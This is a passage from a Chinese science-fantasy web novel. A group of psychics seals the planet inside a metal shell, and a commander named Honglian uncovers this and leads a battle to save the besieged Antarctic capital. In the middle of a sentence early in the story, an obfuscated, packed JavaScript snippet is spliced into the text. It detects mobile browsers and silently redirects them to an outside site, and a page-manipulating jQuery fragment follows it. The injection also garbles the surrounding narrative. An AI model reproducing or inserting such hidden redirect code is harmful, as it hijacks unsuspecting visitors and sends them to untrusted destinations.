世界各地的孕育罐基地出生人口极速下降，这跟我们的大规模采集灵能的行动难道有什么内在联系？ 会员们担心全人类的意识能量不够让全员成神，吵了两场会议。 2 计划赶不上变化，安娅最近收到天狼星人发来的情报，让我们加快成神速度，必须尽快前往天狼星。 我提议暂停用生长金属建造飞艇，把光星用生长金属包起来，这样采集效率就会大大提高，避免灵魂流失到外太空。 人类最近在南大陆搞了个反灵能会联军，安娅担心事态失控，让我开发灵能士兵，就用合金纤维膜包一团纯能量吧，头部装一个灵能容器，输入一人份的意识能量和控制程序就完事了，名字嘛，叫侍灵吧，侍奉我们灵能神，哈哈！ 3 南大陆出现了啥玩意儿？超能力者！ 我的天呐！ 派了三支侍灵部队调查发现，还真的是超能力者，原来是西大陆废弃的生化项目——伪超能力者计划中，逃走的实验体，他们当初是用海底肉块的脑波施展超能力，我万万没想到，灵能风暴分离的意识能量被他们吸收了，成了真超能力者！ 我觉得超能力者的能力对我们开发灵能力的应用方式很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875306|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有用处，建议安娅停止发射灵能风暴。 这下麻烦了，侍灵部队有点打不过超能力者团队呀，安娅不得不吐出百万人份意识能量，制造侍灵大军，还分离自身的战术思维，结合古代军事人才的意识能，制造了一个拥有自主意识的究极侍灵——星神，统领大军。 5 赢了。 我们占领了南大陆，要在家山北坡教人类工程师运用生长金属，我看赛博桶城剩下的山脉北侧正好是一个巨大凸面，在那实验建造超大面积的生长金属壳，成功的话就可以把光星包起来了。 唉，会员们又吵起来了，因为只有安娅的飞艇是用生长金属造的，问题是生长金属长的很慢，我们没有时间造24艘啊！ 于是安娅下令造了这艘，作为备用，其实一共才24个人，一艘就够了，这艘以我的代号命名，我很高兴，还是好闺蜜亲呀！ 为了防止人类再作乱，我们在家山和赛博桶城山脉之间造了一扇门，关住它们！哈哈！ 6 天壳闭合成功，啊~舒适~ 看到自己的伟大工程竣工是真的爽！ 光星一下就变得黑咕隆咚！嘿嘿！ 没光照，也别叫光星了吧，嗯？永夜了，叫夜星！ 不过，气温骤降，人死的有点快呀，没用灵能风暴就死完了怎么行？ 我还得给灵能飞艇装上光照系统，哎，伺候小白鼠。 Z求我给他女朋友造个围墙，生长金属的能源倒是还有一些，安娅点头了，Z确实对协会的贡献很大，那就造吧，我也好奇家园堡最先进的离线机器人是什么样子。 最后一点能源也被Z要走了，我用生长金属材料帮他在南极中心造了一个基地，材料不太够了，歪七扭八的，像个抱窝的小白鸡，Z想要个文雅一点的名字，安娅取名：夜凰。 这艘飞艇就留给Z吧，只不过，不知道他还能不能凑够足量的意识能量了，呵呵。 被神隐藏的天空 “我在。” 红莲看完这篇让人不寒而栗的文字，努力说出半句话，咽了一口口水，才能继续说话。 “我在天家主身边见过一篇A之书。” 天烛受不了文字中的完全不把同族当人看的内容，眼泪不自觉的哗哗流淌，红莲抱住她，将纸张收入口袋，天烛缓了一会儿，擦擦眼睛。 “什么？” “从A到Z，正好24人，说明这篇文字是灵能会的内部资料。或许因为世界被灵能会全面控制，这篇资料不会被普通人看到，才保留在这。我得梳理清楚重点情报。” 红莲说完，与天烛分开，转身背对她，再读文字。 “天壳。” “天壳？” “天上怎么会有个壳呢？” 天烛听着红莲的疑惑，不知不觉说出：“里面写了用什么金属把星球包起来？” 红莲在她说这句话的过程中，快步奔走，东撞西推，她看红莲变出黑剑，狠狠插向舱壁，只插入了一小段。 红莲持剑横拉，拉不动，天烛哭着跑过去阻止红莲，红莲甩开她的手，变没黑剑，跳上控制台，仰头看舱室顶部，走了半圈，寻找到一个方形盖子，就扭头对她说：“你留下！” 天烛哭成泪人，跪坐在地上，她知道这位姐姐一旦接近真相就势必亲眼看看。 可是纸上明明写了令人绝望的现实。 飞艇底部客舱的外面，大风挤压冻云的噪声充斥红莲的耳朵，冻云的结构虚虚实实，轻轻一碰就碎掉下数百吨的巨大冰块，她向下追看，气流将冰块撕碎成无数冰晶，夜星雪原的降雪就是这么来的。 黑发少女摘掉白手套和红手套，塞进衣兜，急切的心情让她得到新能力，调动体外0元素，汇聚成一双黑手套，手脚共同产生能量场，吸附在飞艇外壳上，全力向上攀爬。 这艘飞艇的实际体积配的上时区二字，红莲猜测它如果降落到南极地面，占陆地面积的三分之一，大的离谱。 夜空和冰层混合在红莲前进的路上，让她分不清这里是天还是地，她变出黑剑，切割冰层。由于冰层太厚，完全覆盖了飞艇外壳，红莲已经爬了一个小时，就急躁的起身施展绝命剑猛冲，冰层爆碎的过程中产生了气爆，将她吹飞到艇外壳上又弹起。 红莲脚踩各个不断下落的冰块，迎面遇到一个巨型冰山，她抓住冰山侧面向上狂奔，在自己彻底掉落前纵身一跃，单手用黑剑插进飞艇外壳，悬吊休息片刻，再爬外壳，嘴咬黑剑，以无比坚定的决心，继续攀登。 狂风，黑夜，冰层三者循环阻止并劝告她，不要直面真相。 这位少女，却是最固执的，她爱自己，爱夜星，不允许自己和世界活在虚假之中。 外壳的圆弧开始变成山坡样的坡度，说明红莲爬过了飞艇中部，到了飞艇顶部，她每爬一千米就向上摸索，确认是否有天壳，黑暗深处传来剧烈的摩擦声，为她指引方向，随着指尖的震感越强，噪声越大，不知过了多久，红莲的帽子碰到了硬物。 她摸着，感觉是极为规整的平面，她退后两步，站起来，抚摸这个平面，再用黑剑砍击，碰撞产生的能量光照，一瞬照亮环境，红莲疯狂的砍着，黑剑攻击金属平面爆出的光，将这面无比宏大的天壳，照的再清晰不过了。 但是，少女的剑击没有停止，火花在眼泪中飞舞，泪水消耗着她心中的怒火，她怎么都不会想到，古人给自己和世界上了这么重的枷锁。 天烛等红莲回到客舱后，拥抱她，她一触温柔，就失声痛哭，这是她降生以来第一次哭嚎，她用尽了自己全部的时间，思想，意识，精神，意志等等一切，去把握命运。 天壳的存在，击碎了她对胜利的一丝希望，这些年积压的不甘全在此时释放了，她捶胸顿足，痛苦哀嚎，完全没有三十万队员总帅的样子。 直到四下寂静，红莲抽泣着，用沙哑的嗓子说：“我以前就。” “嗯？” “隐隐觉得它存在。” “什么？” “天壳。夜星的自然环境太反常了，夜空中时不时的传出金属噪声。当我初到南极，望见赛博空港离飞艇这么近，就想上去看看。” “所以你带我一起来。” 红莲无奈的笑了。 “是啊，我自己也不敢面对现实，我也害怕，我也逃避，在防空阵地里犹豫着，寻找着，看到线索，我就控制不住自己，活在谎言中就不是我了，对不起，天烛，让你跟我一起受罪。” “真相尽管痛苦，但也有把握真实的喜悦，我们下去吧，大家还需要我们。” “好，这件事，没人问，就先保密。” “我觉得队员们或多或少都猜到天上有东西了。” “影响士气，没人问的话，就先不提了。” “嗯。” 二人乘坐电梯下降，过程漫长，等到了能看清北海岸全景时，明晃晃全是银色闪光，遥远的冰海面上，人工岛方向还不断向南极海岸增兵，一架灵能飞艇随侍灵大军出发，快速越过雪牢关，冲向南极内陆。 红莲急切的按动下降开关，天烛拉住她，提醒她恢复往日那样克制。 电梯门开，她俩手牵手快速回到炮塔主控室，望江南已经收到千里送来的女王密使出关情报，集结队员，等在那里了。 勉强再战 赛博空港城门外，千里正与执勤的一星队员闲聊，这名队员在战斗中，眼看好友消失，心情低落。 “呐，千里大人，我也会死吧？” “哼哼~你该问谁能活下来。” “哦？” “小傻瓜，我们都是死人呀！没有红莲大人带我们战斗，第一波机械兵团大军就把我们干掉啦！现在多活一秒都是赚了！你真傻！” “喔，可我没幸存的感觉。” “嗯，要做点什么才有活着的感觉呀！你不擅长战斗的话，到我新成立的侦察集团来吧！” “好！” 她们说话间，雪原西部跑来一个中队，千里急忙挽白色长发，戴上兔耳，大跳两步，黑色连身裤在空中画出一道漂亮的圆弧，她落地后滑行，迎接监视雪牢关的中队，得到情报就快速穿过城外阵地，冲进城门内部，正好遇上红莲带所有将军级队员前往指挥所，众位英姿飒爽的将军疾步走过，惊的走廊两侧的队员们纷纷贴墙退后，红莲一把退开房门，屋内打扫卫生的队员见将领们进屋，立刻离开，红莲一捋桌上地图。 “全员存量恢复情况。” 各集群的指挥官报告一遍，仅有三个集群的队员0元素存量恢复到60%，大部分队员的能量不过半，鉴于赛博空港攻城战的艰难，这样出发，无异于送死。 天烛快速统计了数据，计算得出结论：“再有6个小时，全员恢复到完美状态。” “首都不能沦陷。” 红莲说完坐下，捏鼻梁沉思几秒。 “首都城中有近百万市民，她们是不服灵能会才留下来的，是我们的战友。那里有0元素培养罐，我们的秘密武器一旦被灵能会破解就全完了。我下达部署，千鸟集群和藤萝集团留守，原卫戍军团，现主力超大集群临时拆分，全员一小时后出发。” 部署发到全员信息板内，如下： 铃兰集群，千里集团，由天荷集群指挥，负责袭扰或攻占雪牢关，切断侍灵大军的增援。 玉珊瑚集团由天烛集群指挥，负责攻占业凰科学院。 望江南集团由夜兰集群指挥，负责占据业凰科学院和服务局的中间带。 摩罗集群由黑巴集群指挥，攻占服务局西侧阵地，黑巴留守服务局，伺机攻占首都。。 竹桃集群由曼达集群指挥，攻占服务局南侧阵地， 野芹集团由紫洋集群指挥，攻占服务局东侧阵地。 阳荷集群和红莲集群及余部负责解围战，自东向西消灭敌军包围圈。 败退人员撤往服务局。 这份战略部署很简单直接，就是进攻从海岸到首都的直线，也是南极内陆的中线。 “黑巴，你先带存量恢复到6成的三个集群前出，到山谷高原南部，不要越过第一运输局，千里你协助她，不要接触侍灵大军，保持威慑和佯动，为首都缓解压力。” “好。” 黑巴和千里出去了，红莲再说作战时差。 “天烛你到时，要等天荷开战在行动，她会计算你进攻的时间。” “明白了。” “夜兰你要听望江南的话，她声望不足以带领一个集群，你们俩要密切配合。” “好的！” “紫洋和曼达，你们等我与敌军包围圈接触就全力进攻，为黑巴打开西进通道。我到时给全员只有一个命令，向西进攻，保持攻势，瓦解敌军包围圈，逼迫敌军撤往家园堡方向，阳荷集群负责巩固服务局防御。” 红莲对众人敬礼后再说：“如果首都陷落，各位将军除黑巴以外，我们！要亲带精锐集团冲入首都救援！最坏的情况是，我们从雪山小道撤退，外部各集群有服务局和业凰学院作为支点，内陆中线及东部是稳妥的。我们回到服务局再围剿首都残敌，这个临时行动很危险，但为了首都，请各位一往无前。” 29. 章29南极：首都解围战役 雪原与夜空，美得令人窒息，却也凶险得令人胆寒。 寒风刺骨，雪花，轻盈而致命，在空中交织成一幅幅诡异的图案，翩翩起舞。 远方，深邃的夜之尽头，银衣人影在雪原上静静地铺展，侍灵大军绵延万里，银刀闪光如移动的银色海洋，一台棕色的超级巨型飞艇缓缓向南飞行，宣告了战争临近。 六十万侍灵部队，在夜的掩护下，承载着毁灭的意志，闪烁着幽蓝的光芒，如同一片被诅咒的海浪，在预告未知的灾难。 在这片被冰雪覆盖的世界里，位于南极点的首都风花白夜宫城被一种难以言喻的凶险所笼罩。风，狂野的咆哮，暴雪仿佛是在向这无情的夜祈求宽恕，却只能换来更多的折磨。 雪山城市的巨大城墙之下，玛丽安军营，御前军团两万五千名队员都知道，自己屠杀过风千阳三家，终有一天，必将面对众叛亲离的报应。 这一天来临，她们无怨无悔，决心誓死守卫自己心中的信念，玛丽安将部队分成五支，以服务局为中线支点，东西各两支，建构了防御阵地。 这样，敌军即便人多，还是得围攻坚固的服务局，才能向首都进攻，玛丽安就能把部队收缩到城下大营和服务局之间，这里容不下太多部队，可以限制敌军人数，御前军团只要不断发起反冲锋，就能迟滞敌军的攻势，还能避免己方遭受远程火力打击。 当第一缕白光终于穿透风雪，照耀在这片被冰雪覆盖的土地上时，侍灵的凶险与唯美都化作了杀戮开始，弹幕型迫击枪侍灵方阵一轮齐射，数万个光球照亮夜空，落在服务局外围的三层防御工事里，光球密集爆炸，震动万物，还产生了真空效应，躲在战壕内的队员捂住口鼻，不敢抬头。 队长们需请示主体堡垒中的指挥官下达防御战术，她们穿越交通壕暗道，进入立方体要塞，却发现内部空无一人，龙葵将军和整整一个集团3125人都擅自撤离了，这代表各位队长要带剩下的1875人防守服务局，她们赶紧让全员撤入主体要塞。 侍灵大军冲入服务局外围阵地没遇到任何抵抗，玛丽安在望远镜中看到这一情况，立刻就意识到形势有变，急调部队向中线支援，但敌军数量太多，很快就将立方体要塞围了个水泄不通。 东北方的赛博空港城下高原，红莲麾下的各集群完成编队向西南方，呈扇形散开，三十万队员和数千辆运输车组成主力向南进发，扫清了沿途遇到的小股侍灵部队。 （注释：我和有些读者一样，平时就搞不清方向，但是看小说和看地图一样，上北下南左西右东。） 向西运动的集群有三股，从北到南分别是天荷集群，铃兰集群，天烛集群，夜兰集群。她们要截断北海岸的侍灵大军继续通过雪牢关向南支援。然而，此时四十万侍灵主力还停留在业凰科学院周围，以超巨飞艇为指挥中枢，迟迟不动。 千里和天荷悄悄摸到业凰环丘附近的雪地，趴着观望不远处侍灵部队行军，暴风雪席卷雪牢关口，十万个侍灵明晃晃的涌入内陆，千里按按白发上的兔耳，悄无声息跃起，随风雪流动一起侧空翻，轻盈落地后低身滑行，动作完美到即使在侍灵身边也很难被察觉，她登上雪牢关西侧的滑雪道，遥望北海岸，看侍灵部队已经散开布防，便下山回到天荷身边。 “岸有三十万，已散开布防，这批过了，内陆就是六十万。” 天荷听完，一抬单肩斗篷，看表。 “从出发已用一个半小时，不能再等，必须冒险，赌敌指挥官誓夺首都。” 天荷扶一下圆框眼镜，细辫子在脸侧飞动，显得极为冷静，她蹲着转身，用黑袍盖住黑纱长腿，单手对后方队员做手势命令，再看向前方，变出一支黑色长枪握在手中，千里见状就问：“你也要上么？” “南极存亡，在此一战。你带集团，登滑雪道，从关顶到家山东坡，要完全占据关上走廊，不利时，沿滑雪道向空港山脉撤退。” 铃兰带三万名队员匍匐移动到天荷身边。 “铃兰你的集群负责截断侍灵部队，不要与我集群分开，我们必须死死守住关口，隐秘移动到尽可能近，出发。” 众人以雪为被，缓缓接近正在行军的侍灵部队，距离小到500米，天荷蹲起，众人也蹲着移动，距离小到100米，天荷蹬地前冲，黑压压一大片队员同时冲向侍灵大军后方。 暴风和危险丝毫不能阻挡她们的意志，铃兰后发却一步冲到最前，黑色大衣的天下第一大字出现全员前方，见她施展绝命剑，旋转斩击的动作形成了一股蜿蜒的贴地龙卷风，瞬间洞穿侍灵部队，队员们立刻跟进，轻松撕碎敌军队列。 天荷集群顺利封堵关口，她研究过雪牢关的资料，马上找到黑色大门的控制开关，大门吱呀一声，从门框缓缓涌出，关外侍灵即可赶来援救，可天荷集群组成人墙，死命坚守，大门闭合，一些侍灵登山支援，被千里集团居高临下阻止。 关内，侍灵主力大军被她们偷袭后方，立刻扰动，先是向北集结，尝试击溃铃兰集群和天荷集群，地势狭窄，未果，立刻向南急行军。 在雪原里躺平的天烛集群看见业凰科学院上空的飞艇开始移动，玉珊瑚亲率精锐集团和一个集群，迎风滑行，黑剑如林，队员们望见前方四十万个银人怪物，大喊冲锋，侍灵主力的东翼被她们冲溃，贝家主匆忙反应，再尝试还击，见黑衣人群中一名粉色长发的女子飞身如燕，每一剑斩杀数个侍灵，队员们的攻势极猛，后方有数千辆运输车一起行动，贝家主就以为这可能是人类阵营的主力，于是指挥全军，加速向南，攻陷首都要紧。 实际上，运输车是天烛带后勤队员急匆匆跟上玉珊瑚的队伍，她要在业凰科学院里组织新的补给线，每位参战的将军级队员，都尽一切可能，发挥自己的特长。 侍灵主力人数太多，堵在在业凰科学院和服务局的中间地带，埋伏在西部雪地的夜兰用望远镜看见天烛集群已经登上业凰科学院城墙，她站起，两米的丰盈身姿加上超长黑发，分外显眼，黑帽和黑袍配上凶恶笑容，极度威严，让每个队员都以为她是比肩红莲的领袖人物，她正要下令就被望江南拽倒。 “还不能攻！” “噢？为啥？” 望江南也怕她，但看她一脸傻样的问为啥，就端正自己红发上的黑帽，紧紧平坦上衣的衣领，对她微笑后说：“敌主力现在进无可进，退无可退，全堵在那，我们一冲，万一被反击就会全灭，别忘了大家的0元素存量刚恢复到六成，红莲大人的战略是利用队员们恢复能量的时间差，勉强援救首都，不能和敌主力正面决战。” “噢噢，我听你的！” 夜兰趴在雪里，看望江南瘦小，怕她冷，就将她抱在身下，让望江南懂了红莲为何让自己和夜兰配合，这位高大的女子战意果决且极具爱心，自己正好可以弥补她智谋不足。 自信的奇迹 服务局外面，巨大的黑色立方体要塞上爬满了银色人影，侍灵部队还从战壕暗道猛攻要塞。建筑内部，1800多名三星精锐队员在各个暗道入口以身堵口，一个战死，另一个补上，耗到剩300名队员，各队长指挥队员登上钢铁步梯，向各楼层撤退，这里曾经是剑术比赛决赛会场，剑术高手们当时的精彩战斗存在于每位队员心中，鼓舞着她们决死的斗志，匆匆看一眼楼下从暗道涌入万千侍灵，要用自己的身躯最后拖延敌军发起总攻的时间。 服务局失守，侍灵主力和前锋部队汇合形成四十万大军，冲过要塞后，受到玛丽安布置的防线阻击，迅速沿防线扩展成包围圈，宛如白银巨浪，可见包围圈极厚，七万个弹幕型迫击枪侍灵在要塞东侧聚集列队，形成远程火力方阵，玛丽安下令让队员撤往战壕掩体。 敌军的第一轮齐射，光球数量如瓢泼大雨，将玛丽安大营上方的夜空彻底照成白色，落地爆炸迸发的恐怖爆炸，形如无数气泡，几乎气化了首都巨墙下的一切物体，躲在战壕里的队员，仍有不小伤亡，玛丽安见此形势，只得率军再冲，敌军在一万八千名队员疯狂猛攻下，再退成包围圈，双方战线犬牙交错，使队员避免了被远程火力打击。 巨大的灵能飞艇似乎是敌军的催命符，飞艇开始加速向南移动，刚过服务局北侧雪原，敌军主力就向首都猛烈施压。 望江南见状就下令进攻，黑衣队员排成的浪潮再次涌现，吞没侍灵大军后方，夜兰一人当先，黑亮的长柄大刀映照着破碎的侍灵银衣，她滑行速度不快，但所到之处，皆能击溃侍灵聚集后发起的攻势，夜兰集群彻底截断了侍灵全军向北回撤的路线。 二十多万队员扫清魔鬼塔附近的小股敌军，红莲带主力向西急行，这次轮到人类一方形成的黑色海洋，发力了。 雪原被黑衣队员们覆盖了，身处其中的队员，见前后左右数十公里内全是奋力向前的队友，暴雪依旧，夜风凄冷，众人决心不改，她们同时滑行产生的宏大能量场宛如当初核弹爆炸推出的冲击波，铲起雪浪，劈开风雪，改变风向，吹的侍灵包围圈来不及调整，红莲主力与侍灵主力接触后爆发了猛烈激战。 黑巴，曼达，紫洋三个集群按计划穿越己方战线，同时涌向服务局的敌方主战场，一时间，首都东北方的雪原里全是队员，厚实的战线鼓舞了每位队员，剑术比之前更加犀利，身姿滑行流畅，穿梭于侍灵身边，毫发无伤的有效击杀敌人，大家经历了赛博空港鏖战，心理素质大大提高，身心高度统一，只有战斗这一个信念。 贝家主端坐飞艇客舱里的黄金沙发上，手捧茶点，吃的津津有味，意识用灵能力指挥，分兵掩护弹幕型侍灵方阵，第二轮齐射，光雨洒遍红莲主力和三个主攻集群，瞬间暂停了队员们的攻势，数十万队员在空旷雪原里躲无可躲，只能卧倒挨炸。 红莲紧赶几步，急速滑行，追上野芹副官，一把揪住她。 “主力交给你了！” 野芹砍杀的正起劲，被红莲临阵托付重任就当场愣住了，她指着自己的脸说：“我？” 却看红莲助跑几步，向战线后方滑行并大喊出一句：“向西猛冲就行！” 野芹听完，挠挠白色短发，她想红莲是临阵脱逃了吗？嗨！管她的呢，冲就完事了！ 她再向西狂冲，一路斩碎的侍灵多到她也数不过来，赶到最前线，众位队长和参谋官见总指挥官是她，就一起发愣，被她假装大怒喊的猛攻，就慌忙调遣队伍围攻敌军包围圈，这时战线打的难解难分。 红莲沿途见大量队员败退，撤往东边的雪地休整，后方运输车营地中心有一个巨物，是十二辆运输车拼在一起，六前六后组成超大平台，运载了一门防空巨炮，庞大的合金炮座将所有车的车架都压变形了，红莲登上炮座，站在炮管上方，黑色长发在大檐帽下激烈飘扬，大衣迎风吹摆，她单腿前曲，身姿威风难挡，气势振奋人心。 她调遣全身的0元素能量场，做好准备。 “瞄准飞艇，看我的手放下就开火！” 操控巨炮的后勤队员都不知道红莲要干嘛，各自疑惑的对视，再急看向红莲，只见她抬头，望向远方的服务局，弹幕型迫击枪侍灵的第三轮齐射绘制的恢弘弹幕，倾泻后几乎打崩了队员们漫山遍野的攻势，飞艇开始越过方阵上空，红莲看在眼里，就抬手，后退两步。 后勤队员们顿时明白了她要做什么，这太疯狂了，因为炮弹太重，只带了一发啊！ 代表红莲只有一次机会。 她手放下了。 巨炮开火产生的震动，为红莲脚底的能量场施加更大压力，她倾注体内外所有的0元素能量，动作速度快到难以看清，她向前跨一步，第二步踩中了飞出炮管的巨型炮弹并同时释放大衣内的能量场，推动自己，这是真正的一瞬，火光与轰鸣共发，红莲消失在炮口前方。 炮管制退，强大的后坐力压爆了十二辆运输车的底盘，气流吹倒了周围的后勤队员，大家不敢相信这位将军做了什么，而且真的做到了。 高空，数十倍音速产生的大气压强令红莲一直屏息，高速还让她无法看清周围，只有黑暗，雪花被速度变成无数条细线，在她身边划过，视线的正前方，渐渐出现一台飞艇，越来越大。 其实红莲也不想用这种办法攻击空中单位，可人类已经弱到没有装备能对付它了。 全力以赴是红莲每分每秒的状态，此刻她也没有半点犹豫，一刻凝神，燃烧身心的全部能量，施展绝命剑，站在炮弹上蓄力，0元素能量极大加强她的运动感知，时间在她眼中仿佛静止。 飞艇内部，天家提供的先进雷达技术发现了高速接近的物体，无需贝家主下令，侍灵自行操作飞艇防空炮和导弹，飞艇下方的弹幕型侍灵们缩小迫击枪的喷口，变成机炮模式，向夜空齐射，展开一道空地一体的完美防空网，灵能会就是这样，要让人类看到，哪怕一点希望都是绝望。 不过，敌军远程火力变更目标，给了战线的各集群队员以重整攻势的时间，此时的侍灵包围圈已经攻破御前军团，向首都城下大营蔓延，侍灵大军的首要目标是攻入首都，这令它们无暇招架队员们的剑击，战线演变成内银内黑外的混乱战场。 夜空中的黑发少女，以绝命剑挡下海量炮弹和导弹，在她身后的天空中形成一道连珠爆炸火光带，地上的少女们看的分明，大家不知道是什么威胁了敌军大本营飞艇，不约而同想到了她，只有她会孤身犯险，只有她会给予敌军指挥官致命一击！ 然而，红莲没法防住地面侍灵方阵的弹幕，炮弹的弹体被极能束子弹擦的斑驳变形，黑剑打爆的炮弹和导弹产生的冲击波也逐渐使红莲脚踩的巨型炮弹偏离预定轨道，红莲蹲身挥剑，斩裂了巨型炮弹，摧枯拉朽的剧烈爆炸将她冲飞到更高的夜空，少女眼中是天旋地转，她顷刻施展能量场，稳住身姿，俯视万里的白雪大陆，从北方的雪牢关到南方的首都城下，无处不在激战，大地被火光和硝烟点缀。 红莲再灌注精神力量到剑尖，施展一命剑，向下直冲，极速变大的飞艇立刻变成一堵棕色钢墙，她的黑剑接触飞艇外壳的一瞬就侵入了，使红莲明白这种飞艇不是用生长金属制造的，飞艇内部是大量超核反应堆围着一个圆环形的灵能容器。红莲的剑，洞穿容器产生了猛烈爆炸，她再用绝命剑，高速穿梭于各反应堆之间。 坐在飞艇客舱的贝家主大骂侍灵操作不当，摇晃导致她打翻了茶杯，弄脏了她心爱的棕色彭彭裙子，她起身刚想再说什么，金发的螺旋卷发束，猛的向上散开，飞艇突然向下急坠，爆炸突破飞艇外壳，侵入到客舱，让这里瞬间被火焰吞没。 指挥官受惊导致所有侍灵水母头里的控制程序一时紊乱，站着不动，而队员们也被超巨飞艇爆炸的场面震惊到了，它点亮了数万公里的内陆雪原，爆炸连续不断，气团萦绕在断裂的飞艇外壳周围，展现出一场人类历史上最最壮观的烟花表演。 硕大的火球残骸坠落到七万名弹幕型侍灵中间并产生了更为猛烈的二次爆炸，规模不亚于一刻□□，无数侍灵被炸上了天，雪浪此起彼伏，敌军后方乱作一团。 同为顶级剑术高手的野芹当即明白是红莲做的，而且她要死了，一个人落到七万名敌人阵中是必死无疑，她死了就没人能指挥出这样的能让自己心潮澎湃的战役了，野芹想到这个，脱离指挥官位置，独自向西北狂奔，她一会儿冲散侍灵的战线，一会儿冲过三个集群的队伍，纵深一跃，跳入弹幕型侍灵方阵外部的近战侍灵防线。 兵临城下一人当关 那场宏大的烟火也被城下大营里的队员看到了，但是这里只剩一个人了，玛丽安在指挥所的帐篷里，杀散近百个侍灵，她遥望远方的飞艇坠落，清楚是红莲来援救首都了。 红发的将军泪眼婆娑，黑色制服上衣已被侍灵斩的七零八落，金色肩章和流苏见证她的威信，0元素存量过低导致皮肤外的能量场不再能有效阻挡侍灵佩刀，鲜血沿伤口流淌，流到她的手腕处滴落，可她仍持剑站立，侍灵部队再次涌进来，她踉跄着后退，血流过裙摆，在黑色紧身裤上画出悲凉的痕迹。 笑容不改。 英雄豪情的微笑始终在玛丽安脸上，她突然转身，一剑砍碎铁皮箱，侍灵们趁机齐刺她的后背，她摇晃了一下，用最后一点意识，抓起一把0元素试剂瓶捏碎，喝下，她扭身挥剑砍碎这队侍灵，另一队又冲进来，玛丽安的意识被大量的原初0元素侵扰，渐渐混沌，她跌到，靠在一个铁罐旁边，侍灵们在她身上乱砍，而她发狂大笑。 原来罐子里装满了液态的原初0元素，这些黑色液体淋在她身上，吞没她，和她融为一体，庞大的能量场将玛丽安的灵魂撕扯，使她痛苦无比，痛是因为她还想让自己的意识存在下去，愤怒和痛苦转化成最后一个信条，守护。 挤满了侍灵的首都城下大营后方，侍灵已经开始攀登城墙，大营中心猛然爆发黑色能量波，冲击波卷翻数万侍灵，五米高的雪浪向周围连续扩散，使侍灵退散出900米的圆环空地，正当侍灵们再次涌动时，能量波中心点射出无数黑剑，剑雨轰落，顷刻消灭数千侍灵，贝家主由高阶侍灵镰刀卫士护送，赶到了首都城下，她站在空地边的军阵之中，看的清晰。 黑泥涌成一面流动的墙，中间站了一个浑身通黑的女子，她的肢体后部都连着黑墙，嘴里隐隐说着什么。 贝家主出阵，手摇金扇，轻梳螺旋卷发，仰头问道：“这什么东西？好恶心！在说什么？” 玛丽安回想起自己的过去，她一直痛恨这种仗势欺人的家伙，如果双方实力相当，她有自信亲手撕烂贝家主的嚣张嘴脸，可是此刻，她意识渐渐混沌，控制不了身体，恨意和怒火凝聚成一句话：“人类必胜！” 喊声震天。 贝家主咯咯大笑，突然变脸，大喊：“杀了她！” 城下的三十万侍灵部队一起涌向她，数不清的剑击，将黑泥砍碎，可这毕竟是泥，再汇成一团泥山，侍灵们团聚黑泥池，形成的银山越聚越高大，突然，银山爆碎，黑泥中显现无数少女的半身，她们各自持剑战斗，斩杀的侍灵不计其数。 最中间的女子，意识忘了自己衣着和容貌，可队友记得她，队友们抚摸她的身形，使玛丽安的身体渐渐恢复。 “大家还没走啊？” 几位半身少女黑影轻抚她的脸庞，点点头。 “那就再一起守护人类到最后一刻吧！” 御前军团的二万多位队员的灵魂与玛丽安并肩战斗，她们无法脱离0元素的黑色池塘，意识都渐渐分崩离析，各自用尽最后一丝决意，向敬爱的将军敬礼，同时向四面八方猛冲，无数黑影飞行冲击侍灵大军，再次形成一片圆形空地，这次，玛丽安身后的城墙下方已经没有侍灵部队了，御前军团的少女们完成了她们的誓言。 “杀了她！杀了她！” 随着贝家主的喊声，侍灵军队再次围向玛丽安，她眼中尽是白色和银色，直到大量的黑色斑点涌动，她知道是各集群队员们离此不远了，守住，要守住这最后几分钟。 黑色池塘在她身后沸腾，刹那间在她身上变成数百只炮管。 猛烈炮击形成一环接一环的雪浪，黑弹穿透几十个侍灵才消失，弹雨形成的扇形火力网随玛丽安转身覆盖整个半圆空地，无数敌人在此倒下，无数敌人再次涌来。 一枚黑弹洞穿贝家主身前的侍灵，被高阶侍灵挥动镰刀弹开，弹片烧坏她的彭彭裙，吓的她缩回阵中，焦躁的说：“你们冲进首都，务必劫持恶毒和黑液罐子，万不得以，消灭掉！” 高阶侍灵加入战斗，玛丽安的意识和0元素都将消耗完了，她的身体渐渐消散，最后听到城墙上方爆发隆隆炮响，是她留的最后一手，毫无遗憾的闭目，离开了世界。 晴灯遵照玛丽安的嘱咐，一旦侍灵登上城墙中部，就指挥十万白猫部队，用身穿的中口径火炮轰击，虽然不能消灭侍灵，但能大大迟滞敌军登城的进度。城墙上，硝烟弥漫，白发的白猫队员们身穿铁裙，右臂的机械外骨骼上安装了速射火炮，背部的全自动装弹机不停退壳和装弹，三点支架扣住城墙，使她们能向下开炮轰击，弹幕接连将攀墙的侍灵击落。 贝家主眼见前攻受阻，后方的远程火力已经被队员攻灭，她的奸商思维又起作用了，带了三万侍灵当护卫，悄悄向西北撤离。 消灭敌首 乱军之中，紫洋不停派传令队员去各队伍问野芹副官的位置，四名三星队员紧紧护卫她的前后左右，混乱的战局让她情绪激动而焦急，偶有落单的侍灵从雪里爬出来突袭她，护卫们赶忙挡开并消灭敌人，这种骚动让紫洋惊的花容失色，黑色长筒靴连连后退，不慎栽倒，护卫帮她拍掉筒裙和队服上的雪片，而她匆匆整理一番金色长发，传令队员回报说野芹和红莲都陷入敌弹幕型侍灵阵中，她就急忙加强对服务局西侧阵地的攻势，使整个集群快速推进，战火连天，雪风呼啸，万千队员之中，走来两位将军级队员，她们搭肩而行，看似是经历过难以想象的苦战。 紫洋一见红莲和野芹就跑上前问候：“你们还活着呀？” 野芹嗤笑后说：“啊！飞艇残骸提供了不错的掩体，那种持炮的侍灵不善近战。” 而红莲的精力透支了，野芹松开她，她就堆坐下，在雪里大口喘气和咳嗽，稍歇片刻，抬头凝望南方，炮火连成一条直线，城下的侍灵部队已经爬近墙头。 “得救首都。” 